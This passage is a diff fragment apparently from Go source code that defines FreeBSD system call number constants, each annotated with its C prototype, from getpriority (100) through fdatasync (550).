-+ SYS_GETPRIORITY = 100 // { int getpriority(int which, int who); }
-+ SYS_BIND = 104 // { int bind(int s, caddr_t name, int namelen); }
-+ SYS_SETSOCKOPT = 105 // { int setsockopt(int s, int level, int name, caddr_t val, int valsize); }
-+ SYS_LISTEN = 106 // { int listen(int s, int backlog); }
-+ SYS_GETTIMEOFDAY = 116 // { int gettimeofday(struct timeval *tp, struct timezone *tzp); }
-+ SYS_GETRUSAGE = 117 // { int getrusage(int who, struct rusage *rusage); }
-+ SYS_GETSOCKOPT = 118 // { int getsockopt(int s, int level, int name, caddr_t val, int *avalsize); }
-+ SYS_READV = 120 // { int readv(int fd, struct iovec *iovp, u_int iovcnt); }
-+ SYS_WRITEV = 121 // { int writev(int fd, struct iovec *iovp, u_int iovcnt); }
-+ SYS_SETTIMEOFDAY = 122 // { int settimeofday(struct timeval *tv, struct timezone *tzp); }
-+ SYS_FCHOWN = 123 // { int fchown(int fd, int uid, int gid); }
-+ SYS_FCHMOD = 124 // { int fchmod(int fd, int mode); }
-+ SYS_SETREUID = 126 // { int setreuid(int ruid, int euid); }
-+ SYS_SETREGID = 127 // { int setregid(int rgid, int egid); }
-+ SYS_RENAME = 128 // { int rename(char *from, char *to); }
-+ SYS_FLOCK = 131 // { int flock(int fd, int how); }
-+ SYS_MKFIFO = 132 // { int mkfifo(char *path, int mode); }
-+ SYS_SENDTO = 133 // { int sendto(int s, caddr_t buf, size_t len, int flags, caddr_t to, int tolen); }
-+ SYS_SHUTDOWN = 134 // { int shutdown(int s, int how); }
-+ SYS_SOCKETPAIR = 135 // { int socketpair(int domain, int type, int protocol, int *rsv); }
-+ SYS_MKDIR = 136 // { int mkdir(char *path, int mode); }
-+ SYS_RMDIR = 137 // { int rmdir(char *path); }
-+ SYS_UTIMES = 138 // { int utimes(char *path, struct timeval *tptr); }
-+ SYS_ADJTIME = 140 // { int adjtime(struct timeval *delta, struct timeval *olddelta); }
-+ SYS_SETSID = 147 // { int setsid(void); }
-+ SYS_QUOTACTL = 148 // { int quotactl(char *path, int cmd, int uid, caddr_t arg); }
-+ SYS_NLM_SYSCALL = 154 // { int nlm_syscall(int debug_level, int grace_period, int addr_count, char **addrs); }
-+ SYS_NFSSVC = 155 // { int nfssvc(int flag, caddr_t argp); }
-+ SYS_LGETFH = 160 // { int lgetfh(char *fname, struct fhandle *fhp); }
-+ SYS_GETFH = 161 // { int getfh(char *fname, struct fhandle *fhp); }
-+ SYS_SYSARCH = 165 // { int sysarch(int op, char *parms); }
-+ SYS_RTPRIO = 166 // { int rtprio(int function, pid_t pid, struct rtprio *rtp); }
-+ SYS_SEMSYS = 169 // { int semsys(int which, int a2, int a3, int a4, int a5); }
-+ SYS_MSGSYS = 170 // { int msgsys(int which, int a2, int a3, int a4, int a5, int a6); }
-+ SYS_SHMSYS = 171 // { int shmsys(int which, int a2, int a3, int a4); }
-+ SYS_SETFIB = 175 // { int setfib(int fibnum); }
-+ SYS_NTP_ADJTIME = 176 // { int ntp_adjtime(struct timex *tp); }
-+ SYS_SETGID = 181 // { int setgid(gid_t gid); }
-+ SYS_SETEGID = 182 // { int setegid(gid_t egid); }
-+ SYS_SETEUID = 183 // { int seteuid(uid_t euid); }
-+ SYS_STAT = 188 // { int stat(char *path, struct stat *ub); }
-+ SYS_FSTAT = 189 // { int fstat(int fd, struct stat *sb); }
-+ SYS_LSTAT = 190 // { int lstat(char *path, struct stat *ub); }
-+ SYS_PATHCONF = 191 // { int pathconf(char *path, int name); }
-+ SYS_FPATHCONF = 192 // { int fpathconf(int fd, int name); }
-+ SYS_GETRLIMIT = 194 // { int getrlimit(u_int which, struct rlimit *rlp); } getrlimit __getrlimit_args int
-+ SYS_SETRLIMIT = 195 // { int setrlimit(u_int which, struct rlimit *rlp); } setrlimit __setrlimit_args int
-+ SYS_GETDIRENTRIES = 196 // { int getdirentries(int fd, char *buf, u_int count, long *basep); }
-+ SYS___SYSCTL = 202 // { int __sysctl(int *name, u_int namelen, void *old, size_t *oldlenp, void *new, size_t newlen); } __sysctl sysctl_args int
-+ SYS_MLOCK = 203 // { int mlock(const void *addr, size_t len); }
-+ SYS_MUNLOCK = 204 // { int munlock(const void *addr, size_t len); }
-+ SYS_UNDELETE = 205 // { int undelete(char *path); }
-+ SYS_FUTIMES = 206 // { int futimes(int fd, struct timeval *tptr); }
-+ SYS_GETPGID = 207 // { int getpgid(pid_t pid); }
-+ SYS_POLL = 209 // { int poll(struct pollfd *fds, u_int nfds, int timeout); }
-+ SYS_SEMGET = 221 // { int semget(key_t key, int nsems, int semflg); }
-+ SYS_SEMOP = 222 // { int semop(int semid, struct sembuf *sops, size_t nsops); }
-+ SYS_MSGGET = 225 // { int msgget(key_t key, int msgflg); }
-+ SYS_MSGSND = 226 // { int msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg); }
-+ SYS_MSGRCV = 227 // { int msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg); }
-+ SYS_SHMAT = 228 // { int shmat(int shmid, const void *shmaddr, int shmflg); }
-+ SYS_SHMDT = 230 // { int shmdt(const void *shmaddr); }
-+ SYS_SHMGET = 231 // { int shmget(key_t key, size_t size, int shmflg); }
-+ SYS_CLOCK_GETTIME = 232 // { int clock_gettime(clockid_t clock_id, struct timespec *tp); }
-+ SYS_CLOCK_SETTIME = 233 // { int clock_settime( clockid_t clock_id, const struct timespec *tp); }
-+ SYS_CLOCK_GETRES = 234 // { int clock_getres(clockid_t clock_id, struct timespec *tp); }
-+ SYS_KTIMER_CREATE = 235 // { int ktimer_create(clockid_t clock_id, struct sigevent *evp, int *timerid); }
-+ SYS_KTIMER_DELETE = 236 // { int ktimer_delete(int timerid); }
-+ SYS_KTIMER_SETTIME = 237 // { int ktimer_settime(int timerid, int flags, const struct itimerspec *value, struct itimerspec *ovalue); }
-+ SYS_KTIMER_GETTIME = 238 // { int ktimer_gettime(int timerid, struct itimerspec *value); }
-+ SYS_KTIMER_GETOVERRUN = 239 // { int ktimer_getoverrun(int timerid); }
-+ SYS_NANOSLEEP = 240 // { int nanosleep(const struct timespec *rqtp, struct timespec *rmtp); }
-+ SYS_FFCLOCK_GETCOUNTER = 241 // { int ffclock_getcounter(ffcounter *ffcount); }
-+ SYS_FFCLOCK_SETESTIMATE = 242 // { int ffclock_setestimate( struct ffclock_estimate *cest); }
-+ SYS_FFCLOCK_GETESTIMATE = 243 // { int ffclock_getestimate( struct ffclock_estimate *cest); }
-+ SYS_CLOCK_NANOSLEEP = 244 // { int clock_nanosleep(clockid_t clock_id, int flags, const struct timespec *rqtp, struct timespec *rmtp); }
-+ SYS_CLOCK_GETCPUCLOCKID2 = 247 // { int clock_getcpuclockid2(id_t id,int which, clockid_t *clock_id); }
-+ SYS_NTP_GETTIME = 248 // { int ntp_gettime(struct ntptimeval *ntvp); }
-+ SYS_MINHERIT = 250 // { int minherit(void *addr, size_t len, int inherit); }
-+ SYS_RFORK = 251 // { int rfork(int flags); }
-+ SYS_OPENBSD_POLL = 252 // { int openbsd_poll(struct pollfd *fds, u_int nfds, int timeout); }
-+ SYS_ISSETUGID = 253 // { int issetugid(void); }
-+ SYS_LCHOWN = 254 // { int lchown(char *path, int uid, int gid); }
-+ SYS_AIO_READ = 255 // { int aio_read(struct aiocb *aiocbp); }
-+ SYS_AIO_WRITE = 256 // { int aio_write(struct aiocb *aiocbp); }
-+ SYS_LIO_LISTIO = 257 // { int lio_listio(int mode, struct aiocb * const *acb_list, int nent, struct sigevent *sig); }
-+ SYS_GETDENTS = 272 // { int getdents(int fd, char *buf, size_t count); }
-+ SYS_LCHMOD = 274 // { int lchmod(char *path, mode_t mode); }
-+ SYS_LUTIMES = 276 // { int lutimes(char *path, struct timeval *tptr); }
-+ SYS_NSTAT = 278 // { int nstat(char *path, struct nstat *ub); }
-+ SYS_NFSTAT = 279 // { int nfstat(int fd, struct nstat *sb); }
-+ SYS_NLSTAT = 280 // { int nlstat(char *path, struct nstat *ub); }
-+ SYS_PREADV = 289 // { ssize_t preadv(int fd, struct iovec *iovp, u_int iovcnt, off_t offset); }
-+ SYS_PWRITEV = 290 // { ssize_t pwritev(int fd, struct iovec *iovp, u_int iovcnt, off_t offset); }
-+ SYS_FHOPEN = 298 // { int fhopen(const struct fhandle *u_fhp, int flags); }
-+ SYS_FHSTAT = 299 // { int fhstat(const struct fhandle *u_fhp, struct stat *sb); }
-+ SYS_MODNEXT = 300 // { int modnext(int modid); }
-+ SYS_MODSTAT = 301 // { int modstat(int modid, struct module_stat *stat); }
-+ SYS_MODFNEXT = 302 // { int modfnext(int modid); }
-+ SYS_MODFIND = 303 // { int modfind(const char *name); }
-+ SYS_KLDLOAD = 304 // { int kldload(const char *file); }
-+ SYS_KLDUNLOAD = 305 // { int kldunload(int fileid); }
-+ SYS_KLDFIND = 306 // { int kldfind(const char *file); }
-+ SYS_KLDNEXT = 307 // { int kldnext(int fileid); }
-+ SYS_KLDSTAT = 308 // { int kldstat(int fileid, struct kld_file_stat* stat); }
-+ SYS_KLDFIRSTMOD = 309 // { int kldfirstmod(int fileid); }
-+ SYS_GETSID = 310 // { int getsid(pid_t pid); }
-+ SYS_SETRESUID = 311 // { int setresuid(uid_t ruid, uid_t euid, uid_t suid); }
-+ SYS_SETRESGID = 312 // { int setresgid(gid_t rgid, gid_t egid, gid_t sgid); }
-+ SYS_AIO_RETURN = 314 // { ssize_t aio_return(struct aiocb *aiocbp); }
-+ SYS_AIO_SUSPEND = 315 // { int aio_suspend( struct aiocb * const * aiocbp, int nent, const struct timespec *timeout); }
-+ SYS_AIO_CANCEL = 316 // { int aio_cancel(int fd, struct aiocb *aiocbp); }
-+ SYS_AIO_ERROR = 317 // { int aio_error(struct aiocb *aiocbp); }
-+ SYS_YIELD = 321 // { int yield(void); }
-+ SYS_MLOCKALL = 324 // { int mlockall(int how); }
-+ SYS_MUNLOCKALL = 325 // { int munlockall(void); }
-+ SYS___GETCWD = 326 // { int __getcwd(char *buf, u_int buflen); }
-+ SYS_SCHED_SETPARAM = 327 // { int sched_setparam (pid_t pid, const struct sched_param *param); }
-+ SYS_SCHED_GETPARAM = 328 // { int sched_getparam (pid_t pid, struct sched_param *param); }
-+ SYS_SCHED_SETSCHEDULER = 329 // { int sched_setscheduler (pid_t pid, int policy, const struct sched_param *param); }
-+ SYS_SCHED_GETSCHEDULER = 330 // { int sched_getscheduler (pid_t pid); }
-+ SYS_SCHED_YIELD = 331 // { int sched_yield (void); }
-+ SYS_SCHED_GET_PRIORITY_MAX = 332 // { int sched_get_priority_max (int policy); }
-+ SYS_SCHED_GET_PRIORITY_MIN = 333 // { int sched_get_priority_min (int policy); }
-+ SYS_SCHED_RR_GET_INTERVAL = 334 // { int sched_rr_get_interval (pid_t pid, struct timespec *interval); }
-+ SYS_UTRACE = 335 // { int utrace(const void *addr, size_t len); }
-+ SYS_KLDSYM = 337 // { int kldsym(int fileid, int cmd, void *data); }
-+ SYS_JAIL = 338 // { int jail(struct jail *jail); }
-+ SYS_SIGPROCMASK = 340 // { int sigprocmask(int how, const sigset_t *set, sigset_t *oset); }
-+ SYS_SIGSUSPEND = 341 // { int sigsuspend(const sigset_t *sigmask); }
-+ SYS_SIGPENDING = 343 // { int sigpending(sigset_t *set); }
-+ SYS_SIGTIMEDWAIT = 345 // { int sigtimedwait(const sigset_t *set, siginfo_t *info, const struct timespec *timeout); }
-+ SYS_SIGWAITINFO = 346 // { int sigwaitinfo(const sigset_t *set, siginfo_t *info); }
-+ SYS___ACL_GET_FILE = 347 // { int __acl_get_file(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_SET_FILE = 348 // { int __acl_set_file(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_GET_FD = 349 // { int __acl_get_fd(int filedes, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_SET_FD = 350 // { int __acl_set_fd(int filedes, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_DELETE_FILE = 351 // { int __acl_delete_file(const char *path, acl_type_t type); }
-+ SYS___ACL_DELETE_FD = 352 // { int __acl_delete_fd(int filedes, acl_type_t type); }
-+ SYS___ACL_ACLCHECK_FILE = 353 // { int __acl_aclcheck_file(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_ACLCHECK_FD = 354 // { int __acl_aclcheck_fd(int filedes, acl_type_t type, struct acl *aclp); }
-+ SYS_EXTATTRCTL = 355 // { int extattrctl(const char *path, int cmd, const char *filename, int attrnamespace, const char *attrname); }
-+ SYS_EXTATTR_SET_FILE = 356 // { ssize_t extattr_set_file( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_GET_FILE = 357 // { ssize_t extattr_get_file( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_DELETE_FILE = 358 // { int extattr_delete_file(const char *path, int attrnamespace, const char *attrname); }
-+ SYS_AIO_WAITCOMPLETE = 359 // { ssize_t aio_waitcomplete( struct aiocb **aiocbp, struct timespec *timeout); }
-+ SYS_GETRESUID = 360 // { int getresuid(uid_t *ruid, uid_t *euid, uid_t *suid); }
-+ SYS_GETRESGID = 361 // { int getresgid(gid_t *rgid, gid_t *egid, gid_t *sgid); }
-+ SYS_KQUEUE = 362 // { int kqueue(void); }
-+ SYS_KEVENT = 363 // { int kevent(int fd, struct kevent *changelist, int nchanges, struct kevent *eventlist, int nevents, const struct timespec *timeout); }
-+ SYS_EXTATTR_SET_FD = 371 // { ssize_t extattr_set_fd(int fd, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_GET_FD = 372 // { ssize_t extattr_get_fd(int fd, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_DELETE_FD = 373 // { int extattr_delete_fd(int fd, int attrnamespace, const char *attrname); }
-+ SYS___SETUGID = 374 // { int __setugid(int flag); }
-+ SYS_EACCESS = 376 // { int eaccess(char *path, int amode); }
-+ SYS_NMOUNT = 378 // { int nmount(struct iovec *iovp, unsigned int iovcnt, int flags); }
-+ SYS___MAC_GET_PROC = 384 // { int __mac_get_proc(struct mac *mac_p); }
-+ SYS___MAC_SET_PROC = 385 // { int __mac_set_proc(struct mac *mac_p); }
-+ SYS___MAC_GET_FD = 386 // { int __mac_get_fd(int fd, struct mac *mac_p); }
-+ SYS___MAC_GET_FILE = 387 // { int __mac_get_file(const char *path_p, struct mac *mac_p); }
-+ SYS___MAC_SET_FD = 388 // { int __mac_set_fd(int fd, struct mac *mac_p); }
-+ SYS___MAC_SET_FILE = 389 // { int __mac_set_file(const char *path_p, struct mac *mac_p); }
-+ SYS_KENV = 390 // { int kenv(int what, const char *name, char *value, int len); }
-+ SYS_LCHFLAGS = 391 // { int lchflags(const char *path, u_long flags); }
-+ SYS_UUIDGEN = 392 // { int uuidgen(struct uuid *store, int count); }
-+ SYS_SENDFILE = 393 // { int sendfile(int fd, int s, off_t offset, size_t nbytes, struct sf_hdtr *hdtr, off_t *sbytes, int flags); }
-+ SYS_MAC_SYSCALL = 394 // { int mac_syscall(const char *policy, int call, void *arg); }
-+ SYS_GETFSSTAT = 395 // { int getfsstat(struct statfs *buf, long bufsize, int mode); }
-+ SYS_STATFS = 396 // { int statfs(char *path, struct statfs *buf); }
-+ SYS_FSTATFS = 397 // { int fstatfs(int fd, struct statfs *buf); }
-+ SYS_FHSTATFS = 398 // { int fhstatfs(const struct fhandle *u_fhp, struct statfs *buf); }
-+ SYS_KSEM_CLOSE = 400 // { int ksem_close(semid_t id); }
-+ SYS_KSEM_POST = 401 // { int ksem_post(semid_t id); }
-+ SYS_KSEM_WAIT = 402 // { int ksem_wait(semid_t id); }
-+ SYS_KSEM_TRYWAIT = 403 // { int ksem_trywait(semid_t id); }
-+ SYS_KSEM_INIT = 404 // { int ksem_init(semid_t *idp, unsigned int value); }
-+ SYS_KSEM_OPEN = 405 // { int ksem_open(semid_t *idp, const char *name, int oflag, mode_t mode, unsigned int value); }
-+ SYS_KSEM_UNLINK = 406 // { int ksem_unlink(const char *name); }
-+ SYS_KSEM_GETVALUE = 407 // { int ksem_getvalue(semid_t id, int *val); }
-+ SYS_KSEM_DESTROY = 408 // { int ksem_destroy(semid_t id); }
-+ SYS___MAC_GET_PID = 409 // { int __mac_get_pid(pid_t pid, struct mac *mac_p); }
-+ SYS___MAC_GET_LINK = 410 // { int __mac_get_link(const char *path_p, struct mac *mac_p); }
-+ SYS___MAC_SET_LINK = 411 // { int __mac_set_link(const char *path_p, struct mac *mac_p); }
-+ SYS_EXTATTR_SET_LINK = 412 // { ssize_t extattr_set_link( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_GET_LINK = 413 // { ssize_t extattr_get_link( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_DELETE_LINK = 414 // { int extattr_delete_link( const char *path, int attrnamespace, const char *attrname); }
-+ SYS___MAC_EXECVE = 415 // { int __mac_execve(char *fname, char **argv, char **envv, struct mac *mac_p); }
-+ SYS_SIGACTION = 416 // { int sigaction(int sig, const struct sigaction *act, struct sigaction *oact); }
-+ SYS_SIGRETURN = 417 // { int sigreturn( const struct __ucontext *sigcntxp); }
-+ SYS_GETCONTEXT = 421 // { int getcontext(struct __ucontext *ucp); }
-+ SYS_SETCONTEXT = 422 // { int setcontext( const struct __ucontext *ucp); }
-+ SYS_SWAPCONTEXT = 423 // { int swapcontext(struct __ucontext *oucp, const struct __ucontext *ucp); }
-+ SYS_SWAPOFF = 424 // { int swapoff(const char *name); }
-+ SYS___ACL_GET_LINK = 425 // { int __acl_get_link(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_SET_LINK = 426 // { int __acl_set_link(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_DELETE_LINK = 427 // { int __acl_delete_link(const char *path, acl_type_t type); }
-+ SYS___ACL_ACLCHECK_LINK = 428 // { int __acl_aclcheck_link(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS_SIGWAIT = 429 // { int sigwait(const sigset_t *set, int *sig); }
-+ SYS_THR_CREATE = 430 // { int thr_create(ucontext_t *ctx, long *id, int flags); }
-+ SYS_THR_EXIT = 431 // { void thr_exit(long *state); }
-+ SYS_THR_SELF = 432 // { int thr_self(long *id); }
-+ SYS_THR_KILL = 433 // { int thr_kill(long id, int sig); }
-+ SYS_JAIL_ATTACH = 436 // { int jail_attach(int jid); }
-+ SYS_EXTATTR_LIST_FD = 437 // { ssize_t extattr_list_fd(int fd, int attrnamespace, void *data, size_t nbytes); }
-+ SYS_EXTATTR_LIST_FILE = 438 // { ssize_t extattr_list_file( const char *path, int attrnamespace, void *data, size_t nbytes); }
-+ SYS_EXTATTR_LIST_LINK = 439 // { ssize_t extattr_list_link( const char *path, int attrnamespace, void *data, size_t nbytes); }
-+ SYS_KSEM_TIMEDWAIT = 441 // { int ksem_timedwait(semid_t id, const struct timespec *abstime); }
-+ SYS_THR_SUSPEND = 442 // { int thr_suspend( const struct timespec *timeout); }
-+ SYS_THR_WAKE = 443 // { int thr_wake(long id); }
-+ SYS_KLDUNLOADF = 444 // { int kldunloadf(int fileid, int flags); }
-+ SYS_AUDIT = 445 // { int audit(const void *record, u_int length); }
-+ SYS_AUDITON = 446 // { int auditon(int cmd, void *data, u_int length); }
-+ SYS_GETAUID = 447 // { int getauid(uid_t *auid); }
-+ SYS_SETAUID = 448 // { int setauid(uid_t *auid); }
-+ SYS_GETAUDIT = 449 // { int getaudit(struct auditinfo *auditinfo); }
-+ SYS_SETAUDIT = 450 // { int setaudit(struct auditinfo *auditinfo); }
-+ SYS_GETAUDIT_ADDR = 451 // { int getaudit_addr( struct auditinfo_addr *auditinfo_addr, u_int length); }
-+ SYS_SETAUDIT_ADDR = 452 // { int setaudit_addr( struct auditinfo_addr *auditinfo_addr, u_int length); }
-+ SYS_AUDITCTL = 453 // { int auditctl(char *path); }
-+ SYS__UMTX_OP = 454 // { int _umtx_op(void *obj, int op, u_long val, void *uaddr1, void *uaddr2); }
-+ SYS_THR_NEW = 455 // { int thr_new(struct thr_param *param, int param_size); }
-+ SYS_SIGQUEUE = 456 // { int sigqueue(pid_t pid, int signum, void *value); }
-+ SYS_KMQ_OPEN = 457 // { int kmq_open(const char *path, int flags, mode_t mode, const struct mq_attr *attr); }
-+ SYS_KMQ_SETATTR = 458 // { int kmq_setattr(int mqd, const struct mq_attr *attr, struct mq_attr *oattr); }
-+ SYS_KMQ_TIMEDRECEIVE = 459 // { int kmq_timedreceive(int mqd, char *msg_ptr, size_t msg_len, unsigned *msg_prio, const struct timespec *abs_timeout); }
-+ SYS_KMQ_TIMEDSEND = 460 // { int kmq_timedsend(int mqd, const char *msg_ptr, size_t msg_len,unsigned msg_prio, const struct timespec *abs_timeout);}
-+ SYS_KMQ_NOTIFY = 461 // { int kmq_notify(int mqd, const struct sigevent *sigev); }
-+ SYS_KMQ_UNLINK = 462 // { int kmq_unlink(const char *path); }
-+ SYS_ABORT2 = 463 // { int abort2(const char *why, int nargs, void **args); }
-+ SYS_THR_SET_NAME = 464 // { int thr_set_name(long id, const char *name); }
-+ SYS_AIO_FSYNC = 465 // { int aio_fsync(int op, struct aiocb *aiocbp); }
-+ SYS_RTPRIO_THREAD = 466 // { int rtprio_thread(int function, lwpid_t lwpid, struct rtprio *rtp); }
-+ SYS_SCTP_PEELOFF = 471 // { int sctp_peeloff(int sd, uint32_t name); }
-+ SYS_SCTP_GENERIC_SENDMSG = 472 // { int sctp_generic_sendmsg(int sd, caddr_t msg, int mlen, caddr_t to, __socklen_t tolen, struct sctp_sndrcvinfo *sinfo, int flags); }
-+ SYS_SCTP_GENERIC_SENDMSG_IOV = 473 // { int sctp_generic_sendmsg_iov(int sd, struct iovec *iov, int iovlen, caddr_t to, __socklen_t tolen, struct sctp_sndrcvinfo *sinfo, int flags); }
-+ SYS_SCTP_GENERIC_RECVMSG = 474 // { int sctp_generic_recvmsg(int sd, struct iovec *iov, int iovlen, struct sockaddr * from, __socklen_t *fromlenaddr, struct sctp_sndrcvinfo *sinfo, int *msg_flags); }
-+ SYS_PREAD = 475 // { ssize_t pread(int fd, void *buf, size_t nbyte, off_t offset); }
-+ SYS_PWRITE = 476 // { ssize_t pwrite(int fd, const void *buf, size_t nbyte, off_t offset); }
-+ SYS_MMAP = 477 // { caddr_t mmap(caddr_t addr, size_t len, int prot, int flags, int fd, off_t pos); }
-+ SYS_LSEEK = 478 // { off_t lseek(int fd, off_t offset, int whence); }
-+ SYS_TRUNCATE = 479 // { int truncate(char *path, off_t length); }
-+ SYS_FTRUNCATE = 480 // { int ftruncate(int fd, off_t length); }
-+ SYS_THR_KILL2 = 481 // { int thr_kill2(pid_t pid, long id, int sig); }
-+ SYS_SHM_OPEN = 482 // { int shm_open(const char *path, int flags, mode_t mode); }
-+ SYS_SHM_UNLINK = 483 // { int shm_unlink(const char *path); }
-+ SYS_CPUSET = 484 // { int cpuset(cpusetid_t *setid); }
-+ SYS_CPUSET_SETID = 485 // { int cpuset_setid(cpuwhich_t which, id_t id, cpusetid_t setid); }
-+ SYS_CPUSET_GETID = 486 // { int cpuset_getid(cpulevel_t level, cpuwhich_t which, id_t id, cpusetid_t *setid); }
-+ SYS_CPUSET_GETAFFINITY = 487 // { int cpuset_getaffinity(cpulevel_t level, cpuwhich_t which, id_t id, size_t cpusetsize, cpuset_t *mask); }
-+ SYS_CPUSET_SETAFFINITY = 488 // { int cpuset_setaffinity(cpulevel_t level, cpuwhich_t which, id_t id, size_t cpusetsize, const cpuset_t *mask); }
-+ SYS_FACCESSAT = 489 // { int faccessat(int fd, char *path, int amode, int flag); }
-+ SYS_FCHMODAT = 490 // { int fchmodat(int fd, char *path, mode_t mode, int flag); }
-+ SYS_FCHOWNAT = 491 // { int fchownat(int fd, char *path, uid_t uid, gid_t gid, int flag); }
-+ SYS_FEXECVE = 492 // { int fexecve(int fd, char **argv, char **envv); }
-+ SYS_FSTATAT = 493 // { int fstatat(int fd, char *path, struct stat *buf, int flag); }
-+ SYS_FUTIMESAT = 494 // { int futimesat(int fd, char *path, struct timeval *times); }
-+ SYS_LINKAT = 495 // { int linkat(int fd1, char *path1, int fd2, char *path2, int flag); }
-+ SYS_MKDIRAT = 496 // { int mkdirat(int fd, char *path, mode_t mode); }
-+ SYS_MKFIFOAT = 497 // { int mkfifoat(int fd, char *path, mode_t mode); }
-+ SYS_MKNODAT = 498 // { int mknodat(int fd, char *path, mode_t mode, dev_t dev); }
-+ SYS_OPENAT = 499 // { int openat(int fd, char *path, int flag, mode_t mode); }
-+ SYS_READLINKAT = 500 // { int readlinkat(int fd, char *path, char *buf, size_t bufsize); }
-+ SYS_RENAMEAT = 501 // { int renameat(int oldfd, char *old, int newfd, char *new); }
-+ SYS_SYMLINKAT = 502 // { int symlinkat(char *path1, int fd, char *path2); }
-+ SYS_UNLINKAT = 503 // { int unlinkat(int fd, char *path, int flag); }
-+ SYS_POSIX_OPENPT = 504 // { int posix_openpt(int flags); }
-+ SYS_GSSD_SYSCALL = 505 // { int gssd_syscall(char *path); }
-+ SYS_JAIL_GET = 506 // { int jail_get(struct iovec *iovp, unsigned int iovcnt, int flags); }
-+ SYS_JAIL_SET = 507 // { int jail_set(struct iovec *iovp, unsigned int iovcnt, int flags); }
-+ SYS_JAIL_REMOVE = 508 // { int jail_remove(int jid); }
-+ SYS_CLOSEFROM = 509 // { int closefrom(int lowfd); }
-+ SYS___SEMCTL = 510 // { int __semctl(int semid, int semnum, int cmd, union semun *arg); }
-+ SYS_MSGCTL = 511 // { int msgctl(int msqid, int cmd, struct msqid_ds *buf); }
-+ SYS_SHMCTL = 512 // { int shmctl(int shmid, int cmd, struct shmid_ds *buf); }
-+ SYS_LPATHCONF = 513 // { int lpathconf(char *path, int name); }
-+ SYS___CAP_RIGHTS_GET = 515 // { int __cap_rights_get(int version, int fd, cap_rights_t *rightsp); }
-+ SYS_CAP_ENTER = 516 // { int cap_enter(void); }
-+ SYS_CAP_GETMODE = 517 // { int cap_getmode(u_int *modep); }
-+ SYS_PDFORK = 518 // { int pdfork(int *fdp, int flags); }
-+ SYS_PDKILL = 519 // { int pdkill(int fd, int signum); }
-+ SYS_PDGETPID = 520 // { int pdgetpid(int fd, pid_t *pidp); }
-+ SYS_PSELECT = 522 // { int pselect(int nd, fd_set *in, fd_set *ou, fd_set *ex, const struct timespec *ts, const sigset_t *sm); }
-+ SYS_GETLOGINCLASS = 523 // { int getloginclass(char *namebuf, size_t namelen); }
-+ SYS_SETLOGINCLASS = 524 // { int setloginclass(const char *namebuf); }
-+ SYS_RCTL_GET_RACCT = 525 // { int rctl_get_racct(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_RCTL_GET_RULES = 526 // { int rctl_get_rules(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_RCTL_GET_LIMITS = 527 // { int rctl_get_limits(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_RCTL_ADD_RULE = 528 // { int rctl_add_rule(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_RCTL_REMOVE_RULE = 529 // { int rctl_remove_rule(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_POSIX_FALLOCATE = 530 // { int posix_fallocate(int fd, off_t offset, off_t len); }
-+ SYS_POSIX_FADVISE = 531 // { int posix_fadvise(int fd, off_t offset, off_t len, int advice); }
-+ SYS_WAIT6 = 532 // { int wait6(idtype_t idtype, id_t id, int *status, int options, struct __wrusage *wrusage, siginfo_t *info); }
-+ SYS_CAP_RIGHTS_LIMIT = 533 // { int cap_rights_limit(int fd, cap_rights_t *rightsp); }
-+ SYS_CAP_IOCTLS_LIMIT = 534 // { int cap_ioctls_limit(int fd, const u_long *cmds, size_t ncmds); }
-+ SYS_CAP_IOCTLS_GET = 535 // { ssize_t cap_ioctls_get(int fd, u_long *cmds, size_t maxcmds); }
-+ SYS_CAP_FCNTLS_LIMIT = 536 // { int cap_fcntls_limit(int fd, uint32_t fcntlrights); }
-+ SYS_CAP_FCNTLS_GET = 537 // { int cap_fcntls_get(int fd, uint32_t *fcntlrightsp); }
-+ SYS_BINDAT = 538 // { int bindat(int fd, int s, caddr_t name, int namelen); }
-+ SYS_CONNECTAT = 539 // { int connectat(int fd, int s, caddr_t name, int namelen); }
-+ SYS_CHFLAGSAT = 540 // { int chflagsat(int fd, const char *path, u_long flags, int atflag); }
-+ SYS_ACCEPT4 = 541 // { int accept4(int s, struct sockaddr * __restrict name, __socklen_t * __restrict anamelen, int flags); }
-+ SYS_PIPE2 = 542 // { int pipe2(int *fildes, int flags); }
-+ SYS_AIO_MLOCK = 543 // { int aio_mlock(struct aiocb *aiocbp); }
-+ SYS_PROCCTL = 544 // { int procctl(idtype_t idtype, id_t id, int com, void *data); }
-+ SYS_PPOLL = 545 // { int ppoll(struct pollfd *fds, u_int nfds, const struct timespec *ts, const sigset_t *set); }
-+ SYS_FUTIMENS = 546 // { int futimens(int fd, struct timespec *times); }
-+ SYS_UTIMENSAT = 547 // { int utimensat(int fd, char *path, struct timespec *times, int flag); }
-+ SYS_NUMA_GETAFFINITY = 548 // { int numa_getaffinity(cpuwhich_t which, id_t id, struct vm_domain_policy_entry *policy); }
-+ SYS_NUMA_SETAFFINITY = 549 // { int numa_setaffinity(cpuwhich_t which, id_t id, const struct vm_domain_policy_entry *policy); }
-+ SYS_FDATASYNC = 550 // { int fdatasync(int fd); }
-+)
